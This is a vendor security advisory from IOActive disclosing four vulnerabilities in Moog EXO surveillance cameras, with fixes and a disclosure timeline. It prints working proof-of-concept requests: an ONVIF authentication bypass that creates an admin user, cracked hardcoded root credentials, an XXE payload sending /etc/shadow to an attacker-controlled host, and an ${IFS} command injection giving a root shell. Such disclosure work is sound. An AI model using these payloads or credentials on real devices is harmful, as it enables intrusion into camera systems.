IOActive Security Advisory

Title	Moog EXO Series Multiple Vulnerabilities
Severity	Critical-High
Discovered by	Mario Ballano, Gabriel Gonzalez, Josep Pi Rodríguez, Simon Robin
Advisory Date	June 18, 2020

Affected Products

- Moog EXO Series EXVF5C-2
- Moog EXO Series EXVP7C2-3

Background

Moog Inc. (Moog) offers a wide range of camera and video surveillance solutions. These can be network-based or part of more complex tracking systems. The products affected by the vulnerabilities in this security advisory are part of the EXO series, “built tough to withstand extreme temperature ranges, power surges, and heavy impacts.”[1]

These units are configurable from a web application. The operating systems running on these cameras are Unix-based.

[1] https://www.moogs3.com/products/camera-systems/ptz-network-camera-systems/exo-gemineye-dual-high-definition-camera-system-thermal-option.html

ONVIF Web Service Authentication Bypass

Severity: Critical

Impact

The affected units support the ONVIF[2] interoperability IP-based physical security protocol, which requires authentication for some of its operations.

It was found that the authentication check for those ONVIF operations can be bypassed. An attacker can abuse this issue to execute privileged operations without authentication, for instance, to create a new Administrator user.

Technical Details

In order to exploit the vulnerability and create a new malicious user, a request is constructed where:

- The action header (`CreateUsers`), which requires authentication, is replaced with another one that does not (`GetHostname`)
- The username and password are fields left blank

```
POST /onvif/device_service HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8;
action:"http://www.onvif.org/ver10/device/wsdl/GetHostname"
Host: 10.16.32.22
Content-Length: 1357
Accept-Encoding: gzip, deflate
Connection: Close

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-
envelope"><s:Header><Security s:mustUnderstand="1"
xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-
secext-1.0.xsd"><UsernameToken><Username></Username><Password
Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-
token-profile-1.0#PasswordDigest"></Password><Nonce
EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-
soap-message-security-1.0#Base64Binary"></Nonce><Created
xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-
utility-1.0.xsd">1970-01-
02T05:10:26.391Z</Created></UsernameToken></Security><soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsdl="http://www.onvif.org/ver10/device/wsdl"
xmlns:sch="http://www.onvif.org/ver10/schema">
   <soap:Header/>
   <soap:Body>
      <wsdl:CreateUsers>
         <wsdl:User>
            <sch:Username>admin2</sch:Username>
            <sch:Password>admin2</sch:Password>
```

[2] https://www.onvif.org/


```
            <sch:UserLevel>Administrator</sch:UserLevel>
            <sch:Extension>
            </sch:Extension>
         </wsdl:User>
      </wsdl:CreateUsers>
   </soap:Body>
</soap:Envelope>
```

After the request was sent, it was possible to log into the console interface with the newly created user:

```
telnet 10.16.32.22 666
Trying 10.16.32.22...
Connected to 10.16.32.22.
Escape character is '^]'.
************************************************************
          Welcome to the MOOG command console.
          (type 'help' for more info)
------------------------------------------------------------
Username: admin2
Password: admin2
*#>
```

Suggested Fixes

Do not rely on the `action` header to identify the operation. Furthermore, ensure access control checks are properly implemented.

Mitigation

There are no known mitigations for this issue as of May 2020.

Undocumented Hardcoded Credentials

Severity: Critical

Impact

The affected units were found to ship with hardcoded credentials. An attacker can extract these credentials from firmware images or via other means (e.g. a path traversal vulnerability) and crack them offline. The attacker can then potentially leverage the cracked credentials to log into some of the unit services (e.g. via UART, FTP, Telnet, or SSH services)

Technical Details

The following credentials were extracted from the Moog unit's firmware. They were cracked and found to be `root:mobiroot`, `admin:/ADMIN/` and `mg3500:merlin`.

```
root:aavrtO6W.gOB6:12773:0:99999:7:::
daemon:*:12773:0:99999:7:::
bin:*:12773:0:99999:7:::
sys:*:12773:0:99999:7:::
www-data:*:12773:0:99999:7:::
backup:*:12773:0:99999:7:::
admin:CTedwasnlmwJM:12773:0:99999:7:::
nobody:*:12773:0:99999:7:::
mg3500:bbPA0MOq14Z3Q:12773:0:99999:7:::
```

Suggested Fixes

The manufacturer should avoid using hardcoded passwords. The units could ship without passwords for those users that do not require them. Alternatively, the user should have the option to update these credentials.

Mitigation

There are no known mitigations for this issue as of May 2020.

Multiple Instances of Unauthenticated XML External Entity (XXE) Attacks

Severity: High

Impact

The affected units use XML files to create or modify information within their operating systems. Because the XML parser present in both units is processing references to XML external entities (XXE), several injections of malicious XML data could be performed by an attacker.

The information retrieved from this misconfigured XML parser may include sensitive details such as usernames, parameters, and configuration in use. Furthermore, the abuse of this XML parser could be abused to create a Denial of Service (DoS) attack or read files on the unit(s), and potentially retrieve `root` hashed credentials.

Technical Details

Several instances of XXE attacks were found on the devices. Some of these could be performed by an unauthenticated attacker. For others, authentication was required.

An XXE attack could be exploited via the `/onvif/device_service` endpoint. Due to the fact that the units are running with `root` privileges, we could read the `/etc/shadow` file, containing hashes of the different users available on the cameras. These hashes could be cracked eventually and used to login to the units, leading to a full compromise. This process is shown below.

In order to properly exfiltrate the data from the units, it was necessary to abuse the XML parser in a way to send requests to an HTTP server under our control (`attacker.ioactive.com`). To do so, the creation of an external Document Type Definition (DTD) was required.

```
<!ENTITY % data SYSTEM "file:///etc/shadow">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'http://attacker.ioactive.com:9001/?%data;'>">
```

The HTTP server was launched on port 9001 with Python via the following command:

```
python3 -m http.server 9001
```

The HTTP request targeting the `/onvif/device_service` endpoint could be modified to inject a malicious payload forcing the XML parser to read our DTD and eventually exfiltrate the content of the `/etc/shadow` file. Note that the different fields of this request, such as `<UsernameToken>` or `<Security>` are blank:

```
POST /onvif/device_service HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8;
action:"http://www.onvif.org/ver10/device/wsdl/GetHostname"
Host: 10.16.30.80
Content-Length: 1133
Accept-Encoding: gzip, deflate
```



```
Connection: Close

<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker.ioactive.com:9001/external.dtd">
%sp;
%param1;
]>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-
envelope"><s:Header><Security s:mustUnderstand="1"
xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-
secext-1.0.xsd"><UsernameToken><Username></Username><Password
Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-
token-profile-1.0#PasswordDigest"></Password><Nonce
EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-
soap-message-security-1.0#Base64Binary"></Nonce><Created
xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-
utility-1.0.xsd">1970-01-
02T05:10:26.391Z</Created></UsernameToken></Security><soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsdl="http://www.onvif.org/ver10/device/wsdl"
xmlns:sch="http://www.onvif.org/ver10/schema">
   <soap:Header/>
   <soap:Body>
      <wsdl:CreateUsers>
         <wsdl:User>
         </wsdl:User>
      </wsdl:CreateUsers>
   </soap:Body>
</soap:Envelope>
```

The following HTTP response shows that the attack was successful, displaying the hashes of the `root` and `admin` users:

```
% python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
10.16.30.80 - - [28/May/2019 11:20:04] "GET /external.dtd HTTP/1.0" 200 -
10.16.30.80 - - [28/May/2019 11:20:04] "GET
/?root:aavrtO6W.gOB6:12773:0:99999:7:::%0Adaemon:*:12773:0:99999:7:::%0Abi
n:*:12773:0:99999:7:::%0Asys:*:12773:0:99999:7:::%0Awww-
data:*:12773:0:99999:7:::%0Abackup:*:12773:0:99999:7:::%0Aadmin:CTedwasnlm
wJM:12773:0:99999:7:::%0Anobody:*:12773:0:99999:7:::%0Amg3500:bbPA0MOq14Z3
Q:12773:0:99999:7::: HTTP/1.0" 200 -
```

Another unauthenticated XXE attack was found on the `/services/configuration.ion` endpoint. The process was similar, consisting of creating an external DTD hosted on a server under our control and updating the malicious XML payload to read files on the units. For instance, we were able to read the content of `AccessControl.xml`, available in `/iondata/database/`. This gave us information of all the users available on the unit's filesystem.

Additionally, other instances of XXE were found on the units but required authentication (e.g. `/services/configuration.ion?action=setparams`), with and without an external DTD to also read files on the units.

Suggested Fixes

Disable the use of DTD schemas if it is not required. Otherwise, limit the usage of external entities and entity recursive expansion.

Mitigation

There are no known mitigations for this issue as of May 2020.

`statusbroadcast` Arbitrary Command Execution as `root`

Severity: High

Impact

The administration console features a `statusbroadcast` command that can spawn a given process repeatedly at a certain time interval as `root`. One of the limitations of this feature is that it only takes a path to a binary without arguments; however, this can be circumvented using special shell variables, such as `${IFS}`.

Technical Details

The screenshot below shows how the commands are executed through `system()` as `root` by `/bin/StatusBroadcastDeamon`:

```
  char v6; // [sp+6h] [bp-192h]@1
  char v7; // [sp+7h] [bp-191h]@1
  char v8; // [sp+106h] [bp-92h]@1
  char v9; // [sp+107h] [bp-91h]@1
  char v10; // [sp+185h] [bp-13h]@1
  __int16 v11; // [sp+186h] [bp-12h]@1

  v2 = a1;
  v3 = a2;
  v8 = 0;
  memset(&v9, 0, 0x7Fu);
  v6 = 0;
  memset(&v7, 0, 0xFFu);
  strncpy(&v8, (const char *)(v2 + 292), 0x80u);
  v11 = ';';
  v10 = 0;
  result = strtok(&v8, (const char *)&v11);
  if ( result )
  {
    v5 = ">";
    do
    {
      sprintf(&v6, "%s %s %s", result, v5, v3);
      system(&v6);
      sprintf(&v6, "echo \"%s\" >> %s", &DelimiterString, v3);
      system(&v6);
      result = strtok(0, (const char *)&v11);
      v5 = ">>";
    }
    while ( result );
  }
```

The session log below shows how an attacker can abuse this issue to using the `telnet` service and log in using the credentials created with the ONVIF Web Service Authentication Bypass vulnerability, documented in this advisory. Since arguments cannot be provided to the process executed by the `statusbroadcast` command, IOActive found ways to provide arguments using special shell variables, such as `${IFS}`:

```
telnet 10.16.32.22 666
Trying 10.16.32.22...
Connected to 10.16.32.22.
Escape character is '^]'.
*******************************************************
```



```
          Welcome to the MOOG command console.
          (type 'help' for more info)
------------------------------------------------------------
Username: admin
Password: admin
#>
#> help statusbroadcast
Syntax: 'statusbroadcast [Enable=<true, false>] [Interval=<interval in
sec>] [Destination=<ip:port>] [Commands=<cmd1>[;<cmd2>[;<cmd3>]]]'

This command configures the Status Broadcast tool.

#> statusbroadcast Enable=true Interval=30 Destination=127.0.0.1:3333
Command=mount${IFS}-o${IFS}remount,rw${IFS}/;sed${IFS}-
i${IFS}'/telnet/s/^#\(telnet.*\)$/\1/g'${IFS}/etc/inetd.conf
#> shutdown
```

```
telnet 10.16.32.22
Trying 10.16.32.22...
Connected to 10.16.32.22.
Escape character is '^]'.
(none) login: root
Password:


BusyBox v1.14.2 (2015-11-02 13:09:01 EST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

root@(none) # id
uid=0(root) gid=0(root) groups=0(root)
root@(none) #
```

Suggested Fixes

This is a design issue; administrators should not be allowed to execute internal operating system commands.

Mitigation

There are no known mitigations for this issue as of May 2020.

Timeline

- 2019-07-01: IOActive discovers vulnerability
- 2019-07-08: IOActive notifies vendor
- 2020-06-18: IOActive advisory published

